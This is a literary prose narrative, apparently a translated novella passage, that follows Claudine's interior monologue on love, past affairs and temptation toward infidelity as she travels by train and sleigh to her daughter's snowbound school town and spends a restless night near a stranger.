That's all they said, but the words kept sounding higher and deeper in their blissfully swallowed silence. "...Only that smile overtakes them and hovers over them and from the flinching ugliness of their bloodied bodies it emits a slender sandwort-like spray...And tenderly hesitates, wondering if they feel it too, then lets it drop, and soars decisively, like some curious creature wafted on fluttering wings by the secret of his solitude into the wondrous emptiness of the room."
It felt to them as if the secret of their intimate tie rested on this solitude. It was a dark inkling of the world around them that made them huddle together, it was a dreamlike feeling of the cold coming at them from all directions but one, that side on which they leaned together, unburdened, covered each other like two marvelously matching halves, which, when merged, diminished their outward edges, while the inner borders melded ever closer together. They sometimes felt disconsolate, because they could not do every last little thing together.
"Do you remember," said the woman, "when you kissed me several evenings ago, did you know that there was something standing between us? Something came to mind at that very instant, something altogether superfluous, but it wasn't you and it suddenly pained me that it shouldn't be you. And I couldn't say it and had to smile at you, because you didn't know it and believed you were so close to me, and then I no longer wanted to tell you and got mad at you because you didn't feel it yourself, and your caresses left me cold. And I didn't dare ask you to stop, since in reality it was nothing at all, I was close to you in reality, but it was also like an obscure shadow, a reminder that I could be far from you and without you. Do you know the feeling, that all things sometimes suddenly double-up before you, on the one hand complete and perfectly clear as you know them to be, but then on the other hand pale, dimly lit and mortified, as if another presence already had its furtive, stranger's gaze fixed upon them. I would have liked to take you and yank you back into me...and then again shove you away and throw myself to the ground, just because I could have...
"Was it that time...?"
"Yes, it was, the time I suddenly burst out crying beneath you; when as you believed, that out of an excess of desire I wanted my passion to sink even deeper into yours. Don't be mad at me, I had to tell you and don't know why, it was only a delusion after all, but it hurt me so much, I think that's why I thought of that fellow G. And you...?
The man in the easy chair set aside his cigarette and rose to his feet. Their looks interlocked with that strained vacillation, like the bodies of two people balanced side by side on a tightrope. Then they said nothing, but rather raised the window shades and peered out into the street; it seemed to them as if they were listening in on the noisy tug of tensions inside themselves, reaching for a new realignment and coming to rest. They felt that they could not live without each other but could only survive together, like an artfully inclined support system that could carry any load. For each the thought of the other seemed almost sick and painful, that's how delicate and daring and unfathomable they felt in their heightened sensitivity to the slightest uncertainty in the turn of the relationship.
After a while, once they had again become themselves at the sight of the outside world, they felt so empty they wanted to sink into sleep side by side. They felt nothing but the presence of the other, a feeling that, while already considerably diminished and drained in the dark, seemed to spread to the four corners of creation.
* * *
—
The next morning Claudine traveled to the little town where the boarding school was located in which her thirteen-year-old daughter Lilli was enrolled. The child was the fruit of a first marriage, her father was an American dentist Claudine had sought out in the course of a visit abroad during which she suffered great pain. At the time she had been waiting in vain for a friend, whose promises of imminent arrival kept being delayed, straining the limits of patience, and so as a consequence of a curiously intoxicating cocktail of annoyance, pain, ether, and the man's round white face that hovered over hers for days on end, she let it happen. The incident itself never troubled her conscience, nor did she feel the least regret for that first lost part of her life; when after several weeks she had to return for a follow-up visit she came accompanied by a maid, thus signaling the end of the dalliance; nothing remained but the memory of a curious cloud of sensations that stirred confusion, as if a coat had been suddenly draped over her head and then swiftly swept her to the floor.
It had a strange lingering effect on everything she did and experienced back then. Her subsequent involvements did not come to such a speedy and indignant end, and she remained for the longest time under the sway of any men who crossed her path, for whom she was then prepared, to the point of self-sacrifice and a complete abandonment of will, to do anything they asked of her, but she never came away thereafter with the sense of having lived through a powerful or important experience; she engaged in and suffered actions in the grip of strong passions and to the point of self-abasement, and yet never completely lost sight of the fact that none of it really touched her or had anything to do with her essence. Like a brook, all this business of a run-of-the-mill, unhappy, faithless wife just babbled by, and all that was left was the sense of inert brooding, of sitting on it.
She never had a clear consciousness of even the faintest trace of a sovereign self commanding inner restraint in her unhesitating surrender to others. But there was some unacknowledged psychic substrata underlying all these actual liaisons, and even though she had never yet sounded this hidden dimension of her life and perhaps even believed that she would never dig down that deep in herself, in all that happened she nevertheless felt like a guest who, having set foot in a strange house just this once, unreservedly and come what may, surrendered herself to happenstance.
And then all that she had done and suffered in the past was instantly repressed the moment she met her present husband. From then on she lived a life of quiet and solitude, the past was no longer of any consequence, all that mattered now was how it would all pan out, and the sole purpose of the past appeared to be to make them cleave all the closer to each other or else for it to be completely forgotten. A stupefying sensation of growth rose like mountains of blossoms around her, and she retained only a distant trace of past distress, a backdrop from which all else broke free like sleep-soaked stirrings awakening from a frozen fundament.
Only one faint strain, thin, pale, and hardly perceptible, perhaps still trickled from that former life into the present. And the fact that it all came to mind again today of all days may well have been a matter of pure happenstance, or because she was traveling to visit her child, or on account of something of no other consequence, whatever it may be, the memory of it only surfaced at the train station, when – jostled and disquieted by the throng of people – she was suddenly silently gripped by a dark and distant feeling that breezed by her, a feeling already half gone as soon as she felt it, and yet it roused in her an almost tangible semblance of that practically forgotten chapter of her life.
Her husband having had no time to accompany her to the station, Claudine waited alone for her train, the crowd pressing and swelling around her slowly like a big, heavy billow of suds. The sentiments emitted by the pale, early morning faces washed over them and floated in the dark waiting room like the drool of oysters on the stagnant surface of fallow water. It disgusted her. Of a mind to sweep away this whole messy ferment of cloying emotion, to scatter it with a devil-may-care wave of the arm, but – whether on account of her revulsion at the prevailing physical force of the multitude pressing around her, or simply the depressing effect of that dim, steady, indifferent light bouncing off an immense roof of filthy glass, reverberating against scattered, iron resolve – while she stepped politely and with seeming equanimity among them, feeling the irrepressible urge to shove them away, she suffered it in her heart of hearts like a profound indignity. She sought in vain an emotional shield; it was as if she had slowly and hesitantly lost her bearings in the throng, her eyes could no longer orient themselves, she could no longer get a hold of herself, and when she strained to do so a mild headache gripped her thoughts.
Her idle musings turned inwards and sought out an elusive yesterday; but all she managed thereby was to rouse a secret sense of harboring something precious and delicate. It was a secret something she dared not reveal to others, since they would surely not understand, and being weaker than them she would not be able to defend herself, and so feared the consequences. Sucking herself in to take as little space as possible, she proudly passed among them, and winced when someone came too close, hiding behind an unassuming air. And all the while she felt a secret rapture, a mounting delight in surrendering herself to this quietly overwhelming cloud of fear.
And then she recognized the feeling. That's just the way it was back then; it suddenly struck her: in those days it was as if she lingered elsewhere and yet was never very far away. It dawned on her as an uncertain suspicion, like the fearfully veiled sufferings of a sick person, that whatever she did was torn from her in tatters and promptly confiscated by the memories of strangers, who once satiated, turned away from her, convinced that they had stripped her to the bone, leaving not the faintest trace to ripen as silent succor for her soul; and yet as a pale counterpart to her silent sufferings there was a faint glimmer, as if from a crown, and an unmistakable luster trembled along with the muffled murmurs emanating from the drained dregs of a life. At times then it was as if her sufferings flickered in her like little flames, and something drove her to restlessly keep kindling new wicks of distress; it felt like an ever tightening band cutting into her forehead, invisible and unreal, like a dream, like glass, and sometimes it was just a distant gyrating hum, a ringing in her head...
Claudine sat motionless as the train ran, quietly rocking, through the countryside. Her fellow passengers engaged in conversation, she heard it only as a distant murmur. And while her mind was on her husband and her thoughts were enveloped in a soft and tired blanket of contentment as if in a flurry of snow, all its softness notwithstanding, almost imprisoned her in its grip, or like a convalescent in a room of warm familiar bodies hesitating before taking the first steps outside, it was a kind of contentment that brings everything to a halt and almost hurts; and beneath it she still kept hearing that nondescript, vacillating undertone she could not quite place, distant, half-forgotten, like a lullaby, like an indeterminate ache, as she...The sound drew her thoughts in tottering rings around it, subverting every futile attempt to look it in the eye.
She leaned back and peered out the window. The persistent thought of it exhausted her; her senses were perfectly alert and susceptible, but some nervous undercurrent sought to muffle her perception, to take hold and render her oblivious to all, and let the world just glide by....Telegraph poles tumbled past at a tilt, the fields with their dark brown, snow-free ruts turned away, bushes stood, as if upside down, with hundreds of splayed little legs open and from which thousands of water droplets hung and dripped, ran, sparkled and glistened, there was something merry and light in it, a turning outward as if the walls gave way, a detachment and unburdening, ever gentle. She even sensed the soft heaviness lifting from her body, in her ears it left a feeling of thawing snow, and then little by little nothing but a lingering tinkle. At that moment it was as if she lived with her husband in the bulb of the world in a frothy jumble of pearls and bubbles and whooshing feather-light little clouds. She closed her eyes and gave herself over entirely to that pleasant illusion.
But after a while she started thinking again. The light, steady rocking of the train, the spectacle of nature thawing outside – it was as if a pressure lifted from Claudine, and she suddenly realized she was alone. Instinctively she looked up; her senses were still adrift in quiet, rustling, intangible eddies; it was like finding a door suddenly flung open that she had never previously pictured as any other way than shut. Perhaps she had long harbored the desire, perhaps something hidden swayed back and forth in the love between her and her husband, all she knew was that it had heretofore drawn them ever closer together, but now all of a sudden it felt as if something long locked away inside her had burst forth; inside her she sensed a slow, incessant drip of thoughts and feelings, as if emanating from a hardly visible but rather deep lesion, ever widening the wound.
There are so many questions raised in the love relationship between two people around which a shared life must be built before the question itself can be thought through to the end, and later in the face of the fait accompli there's no strength left to imagine the outcome in any other way. Then somewhere along the way a curious signpost crops up, a face, a scent, a never trodden path beckons over grass and pebbles; you know you ought to turn back, look around, but everything propels you forward, except for a slight hesitation in your step, like the trembling of a spider's web, like a dream, like a rustling branch, and the intangible fabric of an unrealized idea fosters a quiet paralysis. Sometimes of late, perhaps a bit more often than before, this thinking back involved a more strenuous back bending embrace of the past. Claudine's fidelity to her husband offered resistance, precisely because she did not feel it as a control but rather as a liberating force, a reciprocal support, an equilibrium achieved by the constant forward motion. A running hand in hand, but sometimes she was gripped by the sudden temptation to stop midway, just her alone, to stop and look around. It was then that she felt her passion as something compulsive, coercive, overwhelming; and no sooner did she manage to subdue that cloying feeling than she was overcome with remorse and yet again infused with the consciousness of the beauty of her love, the yearning still lingered stiff and heavy like a frenzy, and she rapturously and fearfully sensed every movement she firmly entwined in its potent grip as if in a mesh of gold brocade; but something kept beckoning from somewhere, it lay still and pale as March shadows on the bare, broken ground of spring.
Sometimes even in her bliss Claudine was struck by a sudden consciousness of the matter of fact, that life was almost a matter of happenstance; at other times she thought that maybe she was meant for another, more distant way of living. Perhaps it was only the husk of an old thought still cluttering her mind, not a truly intended notion, but merely the lingering trace of a feeling that may once have swept it along, a hollow, interminable squinting and peering outwards – flinching and never fulfilled – an empty idea that lingered like the mouth of a dark passageway in her dreams.
But perhaps it was a solitary sort of happiness more wondrous than any other. Something loose, sprightly, and darkly voluptuous at a delicate spot in their relationship, a bony and soulless scaffolding in the romantic entanglements of others. A quiet turmoil stirred in her, and an almost morbid longing for the most extreme tension, the inkling of a last climax. And sometimes it seemed to her as if she were destined to endure some undisclosed sadness in love.
Every now and then while listening to music, this intimation touched her soul, furtively, like a whisper from a distant somewhere; it scared her then to suddenly sense her soul in unrecognizable surroundings. But every year there came a time around winter solstice when she felt closer than usual to these most tenuous borders of self. During these naked days, dangling, debilitated, between life and death, she felt a kind of melancholy, not at all like the ordinary longing for love, but rather almost a compulsion to abandon the great love she possessed, as if beckoning before her lay the pathway of a last captivity no longer drawing her back to her beloved, but rather leading her forward, and defenseless, into the soft, dry, dissolution of a painful yonder. And she sensed that it came from a far distant place where her love was no longer just a force binding two people together, but the pale root of an uncertain yearning reaching out into the world. When they walked together their shadows were so thinly tinted and attached so limply to each step, as if not wanting to bind them to the ground, and the sound of contact with the hard-packed earth under their feet was so curt and sinking, and bare shrubs gaped at the sky, that at such charged moments of acute visibility it was suddenly as if the dumb, obedient things broke loose and took on a droll allure, standing tall and erect in the twilight, like intrepid strangers, unreal specters consumed by a sense of their fading nature, infused with fragments of the incomprehensible answering to nothing, broken off bits of bric-a-brac, their glimmer falling helter-skelter, flaring up either in some cast-off object or some fleeting notion.
Then she fancied that she might just as well belong to another, and it did not feel to her like infidelity, but rather like a last betrothal somewhere other than where they were, a realm where they only resembled music, where they embodied notes heard by no one reverberating against nothing. It was then that she felt her being as nothing but a grinding line that dug her under so as to hear itself singing in the tangled silence, in a state in which one moment demands the next and she became what she did – inexorably and inconsequentially – and yet there were certain things that she never dared do. And while it suddenly seemed to her as if it might well be that they only really loved each other in their refusal to acknowledge the clang of that one, quiet, almost maddeningly intimate sound, she suddenly fathomed the deeper entanglements and immense convolutions in the pauses in between, the mute moments of awakening from the swell into the limitless expanse, to face and feel the unconscious onslaught of life; and with the solitary pain of sinking into the maelstrom side by side – compared to which all other actions amounted to nothing more than a noisy benumbing, sleep-inducing narcotic – she loved him even as she contemplated how to hurt him in the worst way possible.
For weeks her love held to this murky hue; then it passed. But oftentimes it returned in muffled tremors, particularly when she sensed the proximity of another. An offhand remark from an indifferent person sufficed to make her feel needled by the stranger's gazed...stunned...thinking, why are you still here? She never actually craved contact with these strange creatures; it was painful to think of them; the very thought of it disgusted her. But all at once she felt the oscillating, bodiless silence pressing in around her; and she no longer knew if she was rising or falling.
Now Claudine looked out the window. Everything outside was the same as before. But – whether as a consequence of her train of thought or for whatever reason – it was all blanketed by a dull, unforgiving layer of resistance, as if filtered through a thin, milky antipathy. That restive, overly light, thousand-footed mire of mirth was rendered intolerably tense; it scurried and flowed, frenzied and delusory, as if carried along on dwarflike, albeit overly animated steps, and so seemed to her to be dumb and dead; here, there, flinging itself forward like a hollow clatter, it dragged ever onwards, grating something awful against her eyes.
It grieved her to gaze at this agitation, in the wake of which her feelings had been left behind. This life that just moments before was still flowing through her, transformed into feeling, she still saw it out there, suffused with itself and in its own giddy grip, but as soon as she tried to bring it closer the whole thing crumbled and fell apart. Repulsive now, it drilled into her eyes, as if her soul were dangling, prone, in its path, stretched and taut, reaching for something, grasping at the void...
And all of a sudden it struck her that she too – just like all that she glimpsed out the window – was trapped in herself and bound to live out her life in one place, in one particular city, in a house, in an apartment, consumed by a single sense of self, to dwell for years in that minuscule enclosure, and then it seemed to her, were she to stop and wait for the blink of an eye, as if all her happiness could pull away like that clutter of clamorous things.
But this didn't just strike her as a random thought, there was something in it of that boundless barren expanse in which her feelings sought in vain to gain a foothold, and something took a quiet hold of her like a rock climber hugging the escarpment, and then came an icy cold, quiet moment in which she heard the sound of self, a faint, incomprehensible creak in the vast expanse of creation, and in the sudden silence that followed she fathomed how quietly we trickle away, and in contrast how vast and fraught with terrible forgotten sounds is the stony brow of nothingness.
And while pulling back like a thin skin, and reflecting on herself, she felt a quiet terror in her fingertips, and her sensations clung to her like tiny grains, like sifted sand, that curious sound rose up again; like a fleck, like a bird it seemed to hover in the void.
And all of a sudden everything felt as if it were fated. That she had set out on a journey, that nature fell back before her, that right at the very start of this trip she had felt so skittish and fearful, of herself, of the others, for her happiness, and her past suddenly seemed to her like the incomplete consummation of something yet to come. She kept peering fearfully out the window. But little by little, deep in her heart she began to feel ashamed of all resistance and any efforts at self-defense before such an onslaught of strangeness, and it was as if her spirit reconsidered, quietly gripped by that subtlest, final, submissive impulse of weakness, and her resolve grew flimsier and thinner than a child and softer than a sheet of faded silk; and it only now dawned on her with a hint of delight what a deep and utterly resigned human pleasure she took in the face of the unfamiliar, knowing full well that she could not ease her way in, that all resolve was useless in this muddle of emotions, pressed against the periphery of life, all she could do was embrace the moment of her inevitable tumble into the blind immensity of the void.
And suddenly she felt a dark longing for her life before, that time of mistreatment and exploitation by strangers, a longing of the kind that comes over you in the pale, weak awakening in the grip of a sickness, when the noises you hear pass from one apartment to another, no longer feeling like she belonged anywhere, relieved of the burden of her own being, letting life lead where it will.
The landscape clamored silently outside. While others felt their thoughts crystallizing, growing louder and ever more certain in transit, she sought refuge in herself, feeling nothing but her non-being, her weightlessness, a drifting toward something. And soon, swaying silently with a soft, long undulating motion, the train pulled into a region still buried in snow, the sky sank ever lower, and a little later they passed through dark gray curtains of drifting snowflakes striking the ground in its path. The light dimmed to a pale yellow in the compartment, the profiles of her fellow passengers were only still faintly differentiated, slowly and insubstantially they swayed back and forth. No longer conscious of what she was thinking, she felt silently gripped by a longing for solitude to confront the unknown; it was like a toying with the slightest, most intangible disturbance so as thereby to bestir a palpable, shadowy flutter of the soul. She tried at that moment to bring her husband to mind, but all she could conjure up was a faint inkling of a love almost lapsed, like a room with windows long since shut. She tried to shake herself free of it, but the troubling image hardly budged and dangled somewhere on the edge of consciousness. And the world felt so pleasantly cool, like a bed in which you've been left to loll about alone...Then it seemed to her as if she faced an imminent decision, and not knowing why, and being neither glad nor rattled by it, she felt only that she wanted to do nothing to advance or hinder its outcome, and her idle musings ambled ever farther out in the snow, without looking back, like when you're too tired to turn around and just keep walking and walking.
Toward the end of the ride the gentleman remarked: "Looks like an idyll, a magic island, like a lovely fairy tale enchantress in white lingerie and lace..." and he made a gesture toward the landscape.
How trite, thought Claudine, but she could not immediately find the right repartee.
It was as if someone tapped at the window and a big, dark face came swimming up close behind a pale pane of glass. She had no idea who this person was; she couldn't care less; she sensed only that he was standing there before her and wanted something. And that now something started to become real.
Like when a quiet wind stirs between clouds, arranging them in a row and then slowly pulls away, she felt the force of this incursion of the real colliding with the inert soft cloud of her feelings, encountering no resistance, and blowing on by...And as some sensitive people do, she cherished the non-cerebral, the absence of self, the swooning, the shame and the sorrow spawned by the unfathomable pull of the real, like when you gently strike fragility, a girl, a woman, and then in the darkness long to be the dress that drapes her pain.
So they arrived in late afternoon in an all but vacant train, from which, one by one, the passengers had trickled out; station after station had sifted out the last stragglers, and now something swept them together with swift strokes, only three sleighs stood ready to receive the remaining passengers for the hour-long ride from the station to the town, and they had to be shared. When Claudine once again came to her senses she already found herself seated with four other people in one of the small conveyances. The unfamiliar smell of the horses steaming in the cold and scattered waves of light from the carriage lanterns came wafting from the fore, but from time to time the darkness came flooding in and tearing through the sleigh; then Claudine saw that they drove through two rows of tall trees as if down a dark passageway that grew ever narrower toward an elusive destination.
On account of the cold she sat with her back to the horses, before her sat that man from the train, big, broad-shouldered, draped in his fur coat. His presence blocked the path of her thoughts that wanted to retreat. Every glance was suddenly filled with his dark person, as if a gate had fallen shut before her. She realized that she had glanced at him a couple of times to know what he looked like, in such a manner as if that were all that still mattered and everything else was already decided. But she was glad to feel that he remained a blur, an arbitrary presence, just a dark swathe of unfamiliarity. And sometimes it seemed to draw near like a wandering woods with a tangle of tree trunks, its branches brushing against her.
Meanwhile the conversation spanned like a web between the passengers in the little sleigh. He, too, took part in it, and gave commonplace clever replies with a hint of that spice, like a sharp, certain scent, of the sort that peppers a man's advances to a woman. At these moments she became flustered in the face of such a self-assured manly claim to power, and remembered that she had not strenuously enough rebuffed his innuendos in the train. And when it was her turn to speak it seemed to her that the words came out too easily, and she suddenly felt overcome by a sense of powerlessness, of being dismantled, reduced to the flailing stump of an arm.
Then it struck her how helplessly she was hurled back and forth, and at every bend in the road brushed by the arm, by the knees, sometimes with her entire torso touching a stranger, and by some remote similitude she felt as if this little sleigh were a darkened room and these strangers sat panting hot and pressing against her, and she fearfully suffered brazen indecencies, smiling as if pretending not to notice, and keeping her gaze fixed straight ahead.
But all this she fathomed as if in the half-slumber of a leaden dream, the unreality of which hovers on the edge of consciousness, and she only wondered that the stranger's presence should weigh so heavily upon her, until he leaned out, looked up at the sky and said: "We will be snowed in."
Whereupon her thoughts crossed over in a flash into complete consciousness. She looked up to find her fellow passengers joking around cheerfully and harmlessly, like when you see a light and decipher the shapes of small figures at the end of a dark tunnel. And all of a sudden she was struck by a curious, detached, sober awareness of reality. She was astonished to notice that she nevertheless felt herself being touched, felt it, in fact, quite strongly. The realization well nigh frightened her in that it struck her as a pale, almost overly bright burst of consciousness, with no recourse to the mere vagary of dreams, a consciousness unencumbered by a single thought, and yet in which people betimes grew jagged-edged and puffed-up like hills in the landscape, as if suddenly gliding through an invisible fog in which the real swelled into a massive shadowy second silhouette of itself. Then she felt humbled and apprehensive in their presence, never completely forfeiting the impression that this weakness might well be a special asset; it was as if the sentient borders of her being had spread invisibly and appreciably since last she looked, and the quiet collision with it all made her tremble. And for the first time the day's odd doings scared her, the lonely trail of time slipping little by little, as if through an underground tunnel, leading into the wild whisper of an awakening, and then finally dropping her in a faraway place only to suddenly rear upright, bearing the implacable claws of the actual, forcing her to face a vast, strange, unwanted reality.
She snuck a furtive peak at the stranger. At that instant he struck a match; his beard, an eye lit up in the glow; this perfectly anodyne act suddenly struck her as so strange, she felt the steadfastness of the string of occurrences, how naturally one followed another, foolishly and tranquilly, and yet weighing upon her with a simple, immeasurable, firmly established force. She pondered that he must surely be a perfectly ordinary person. And then, little by little, she was overcome by a quiet, scattered, incomprehensible sense of herself; dissolved and dilacerated like a pale white, fluffy foam, she felt as if she were floating there before him in the dark. It now gave her a wondrous thrill to reply in a friendly manner; all the while observing her own actions with a quiet resolve, powerless to stop herself, divided in her sentiments between satisfaction and suffering, as if cowering in the suddenly overpowering grip of a profound exhaustion.
But then it stuck her all at once that this is precisely how it sometimes started in the past. And the very thought of such a thing happening again stirred in her a whirring, impulsive, prurient fright as of a still nameless sin; she suddenly wondered if he had noticed her glancing at him, and the thought infused her body with a quiet, almost docile rush of sensuality that felt like a dark lair in the secret recesses of her soul. But the stranger just sat there, looming large and quiet in the dark carriage, flashing a smile from time to time, or so it seemed to her.
And so they rolled on in close proximity into the ever-darkening dusk. And little by little, that pressing disquiet once again took hold in her thoughts. She tried to tell herself that it was all on account of the beguilingly disorienting inner silence of this sudden solitary journey in the company of total strangers, and then at times she thought it was the wind swaddling her in its stiff, icy grip that made her go numb and limp, but then at other times she had the strangest feeling, as if her husband were close at hand, and this weakening of will and burst of voluptuousness were a blessed boon of love. And once – when she yet again happened to glance over at the stranger, and felt a hard and unforgiving burst of this shadowy surrender of will – her past was suddenly illumined by a glow, revealing an untold, oddly ordered distance; it was a curious inkling of the future, as if reenacting long gone episodes of the past. But a moment later it was nothing more than a fast fading streak of insight in the dark, a faint trace of which still lingered in her heart of hearts, bewildering and strange, as if burdened with debris and silently swinging, it somehow encompassed the heretofore unseen landscape of her love; hesitant and all wrapped up in herself, infused with a flurry of as yet unfathomable resolves rooted in that other realm, she no longer knew quite how to react. And it made her think of days strangely cut off from the rest that stretched before her like a row of secluded rooms, one leading into the other, interspersed with the steady hoof clops of the horses carrying her – helplessly pressed by present circumstances in the paltry proximity of strangers in that sleigh – ever closer to a future she feared, trying to latch onto the forced laughter of an idle conversation, all the while feeling knotted up inside and powerless to elude the inevitable, as if draped and muffled in a stifling scarf.
That night she was awakened; as if by the sound of the doorbell. She suddenly sensed that it was snowing. She looked out the window; the snow stood soft and heavy like a wall suspended in mid-air. She slunk forward on tiptoes. Everything happened in rapid succession, it gave her a dark feeling inside to graze the ground with bare feet like an animal. Then she gaped up close and was stunned by the thick crystalline latticework of snowflakes. All this she did as one does shooting up out of sleep, in the cramped confines of a kind of consciousness that suddenly crops up like a little desert island. It felt as if she stood there very far removed from herself. And all at once what the man said and the way he said it leapt to mind: We will be snowed in here.
Then she tried to clear her mind and turned around. The room lay close behind her and there was something unsettling about this closeness, something like a cage or like being hit. Claudine lit a candle and held it over the things around her: wardrobe, chest of drawers, bed; slowly sleep fell off these dull objects that still loomed before her as if they hadn't yet found their way back to themselves, as if they were a touch too much or too little, a surfeit of nothingness, a raw, rippling nothingness; they stood there blind and shrunken in the stark dawning of the flickering light; the table and walls were covered with a thick carpet of dust, practically beckoning her to walk barefoot over them. The room opened onto a narrow, whitewashed, wood-floored corridor; she knew that where the stairs emerged onto the landing a dimly lit lamp dangled from a wire ring, casting five bright, swaying circles on the ceiling, the light of which ran like the traces of grimy hands down the chalky white walls. These five bright, senseless circles swung like alarm signals in a curiously agitated emptiness...Strangers slept in surrounding rooms. Claudine felt a sudden illusory burst of heat. Standing there, abruptly awakened in the night, she could have emitted a quiet cry, like the fearful tremolo of a cat in heat, while the last shadowy traces of her strangely perceived actions slipped silently back into the smooth contour of her inner self. And suddenly she thought: what if he came and just tried to do what he clearly desired...The thought of it made her shrink back in terror. It rolled right over her like a burning ball; for minutes on end she felt nothing but that strange fright followed by the whiplash sting of the silent space closing her in.
After that she attempted to introduce herself to the people in the inn. But it didn't work; she felt hemmed in by the distended, animal-like stride of her thoughts. Only every now and then did she catch a glimpse of him, as he really was, his beard, his one glowing eye in the dark...Which made her recoil in disgust. She felt that she could never again give herself to a stranger. And in the very grip of it, along with this revulsion at the thought of intimacy with anyone else, while intimately bound to her beloved, she simultaneously felt – as if at a second, deeper level – a submission, a dizziness, perhaps an inkling of human fallibility, perhaps a fear of herself, perhaps simply an unfathomable, senseless, enticing hankering after another, and fear ran through her veins like the torrid cold stirred up by a ruinous desire.
Serenely, meanwhile, a clock hanging somewhere started talking to itself, footsteps sounded and faded under her window, quiet voices...It was cool in the room, the warmth of sleep suffused from her skin; soft and defenseless, as if enveloped by a cloud of weakness, she swung herself back and forth in the darkness...She shrank back before the lifeless objects staring at her now, so certain and steadfast and long since reduced back to niggling inconsequence, while she stood there in a frenzy waiting for a stranger. And yet she dimly discerned that it was not the lure of the stranger per se, but rather a fine-toothed, wild, self-abandoning bliss at the fact of his being there and waiting, awakened like a wound of knowing among dumb inanimate things. And while she felt her heart beating, as if a wild beast had somehow managed to creep inside her breast, silently staggering around the room, her body lifted and closed in upon itself like a big, bowing flower, shuddering suddenly at the thrill of a secret intimacy stretched taut over invisible distances, and she heard the faint and distant beat of the heart of her beloved ambling, restless, unsteady, homeless, in the muffled room, like a tinkle of flickering starlight blown hence from some distant frontier, engulfed by the uncanny lonesome sound of this consonance seeking her out, far from the landscape of her soul.
She sensed that something was about to run its course here, and had no idea how long she had been standing around waiting; for minutes, hours...time floated still, fed by invisible founts, like a lake without shores, without mouth or outlet. Only once, at some point did a dark inkling, a thought, a fancy emanate from that boundless horizon, and as soon as it crossed her mind she recognized in it the memory of long gone dreams from her earlier life – dreams of feeling trapped by secret enemies who forced her to perform humiliating acts – and no sooner recalled than already fading, they dissolved into nothing, and out of the distant blur some residue of this dark reverie arose in her one last time with a ghostly clarity, something like an armature, a knotted rigging of emotion spanned one mesh upon another, and she remembered how she could never fight it off, crying out, how she nevertheless persisted in her futile struggle until her strength gave out and she lost consciousness, battling this boundless, formless affliction in her life. And then it was gone, leaving nothing in the flood of silence but a glimmer, a wave rolling back, expiring, as if in the wake of something unspeakable. And then all of a sudden it came over her again as before – that terrible defenselessness of her entire being in the face of dreams, distant, unfathomable, revived yet again in her imaginings – an avowal, a glimmer of longing, a semblance of softness, an appearance of self – stripped naked by the fearful finality of fate – and then even divested of the last shred of self as she reeled in the grip of ever more enfeebling cravings, strangely bewildered by the turmoil of it stirring inside, by the aimless tenderness of a splinter of love seeking consummation for which in the mundane jargon of the everyday and the hard and fast matter of fact no word has yet been coined.
At that moment she no longer knew if she had not just dreamed this dream for the last time before waking. It had been many years that she'd thought to have put it out of her mind, and now all of a sudden it appeared close at hand, as when you suddenly turn around and find yourself staring someone right in the face. And it gave her such a funny feeling, as if in this lonesome isolated room her life were sucked back into itself like footsteps in the mud. The little light that she had switched on glowed behind Claudine's back, keeping her face in the dark; and after a while she could no longer tell what she looked like, her silhouette struck her like a strange hole in the darkness. And little by little it began to seem as if in reality she were not there at all, as if only a distant trace of her had wandered and wandered through time and space, only now awakening far from her true self in the twisted distance, and was standing there enveloped by that sense of being immersed in a dream...somewhere...an apartment cropped up, people, a dreadfully tangled terror...And then turning red in the face, lips softening...and suddenly the inkling that another would soon come knocking, and reawaken another long gone tingle of her undone hair, of her arms, as if she were still wed to infidelity...And then and there all at once – her trembling uplifted hands slowly tiring, clinging fearfully to the resolve to remain faithful to her beloved – the thought: we were unfaithful to each other before we met...It was only the feeble flicker of a half-hearted thought, almost nothing but a flush of emotion; a wondrously sweet burst of bitterness, like a gust of wind that lifts from the sea often purled with a briny trace, then almost nothing but the thought, we loved each other before we met – as if the infinite reach of their love suddenly extended from deep within unfurling from the fold of infidelity, from which it had once sprung forth to bring them together in a prior incarnation of the eternal intimate tie between them.
And she let herself sink, and for the longest time, as if stupefied, felt nothing, except that she was seated on a bare wooden chair at a bare wooden table. And then that fellow G. came to mind, and the conversation with its veiled innuendos, and words left unspoken. And then at some point a burst of damp, mild, snowy night air came through a crack between window and frame, and quietly, gently caressed her naked shoulder. And then she began to speculate in a pained and distant way, like a wind wafting over the dark rain-drenched fields, that infidelity must be a rain-silent pleasure, the way a cloudy sky hangs heavy over a landscape, an inkling of life's secret closure...
That morning and from then on a curious whiff of the past hung over everything. Claudine wanted to visit her daughter's school; she shot up out of sleep early, as if emerging from clear, heavy water, having forgotten all of the previous night's ruminations; she set the hand mirror in front of the window and pinned up her hair; it was still dark in the room. But as she combed her hair – straining her eyes before that blind little mirror – she felt like a country girl prettying herself up for a Sunday outing, gripped by a powerful impression that she was taking pains for the teachers who would see her, or perhaps for the stranger, and from that moment on could not get that ridiculous idea out of her mind. This foolish notion had nothing to do with her, but it clung to everything Claudine did, and every move she made had a daft, blundering formality that slowly, insidiously, and irresistibly seeped from the surface to the depths of her being. After a while she just let her arms hang down; but finally all of this puttering about was simply too nonsensical to hold off what had to happen, and while the clumsy compulsion would not let go and kept twisting impalpable feelings of the forbidden, of wanting and not wanting into another, more nebulous, less tightly linked chain of reflection than that of actual decision-making, and while Claudine's hands fondled her soft hair and slid up the white sleeves of her dressing gown, it all seemed to her to be happening again – whenever, once upon a time, forever after – and to have always been so, and it suddenly struck her as strange that now wide awake, in the emptiness of morning, her hands kept going up and down, as if not beholden to her will, but rather to some indifferent external force.
And then, little by little, the dark mood that had gripped her that night began to dissipate, memories poked their heads up and then sank again, tension hung like a shaky curtain before half-forgotten upset. Everything grew light and skittish outside, looking out at this steady, blinding light, Claudine felt a stirring like the deliberate disengagement and slow, seductive downwards slide of an invisible hand in a sea of luminous silvery bubbles and strange bug-eyed fish; the day began.
She took a piece of paper and scribbled words to her husband: "Everything feels strange. It will only last a few days, but I feel as if I were swallowed up by something hovering high overhead. Our love, tell me, what is it? Help me, I need to hear from you. I know that our love is like a tower, but right now all I feel is the trembling of a slender stalk..."
But when she went to mail the letter, the clerk at the post office told her that delivery was suspended because of the weather.
After that she went walking on the outskirts of the town. All was white far and wide like a sea of snow. Sometimes a crow flew by overhead, and in certain spots a lone shrub cast a black fleck. Only far below at the edge of town did life start up again in small, dark, disconnected dots.
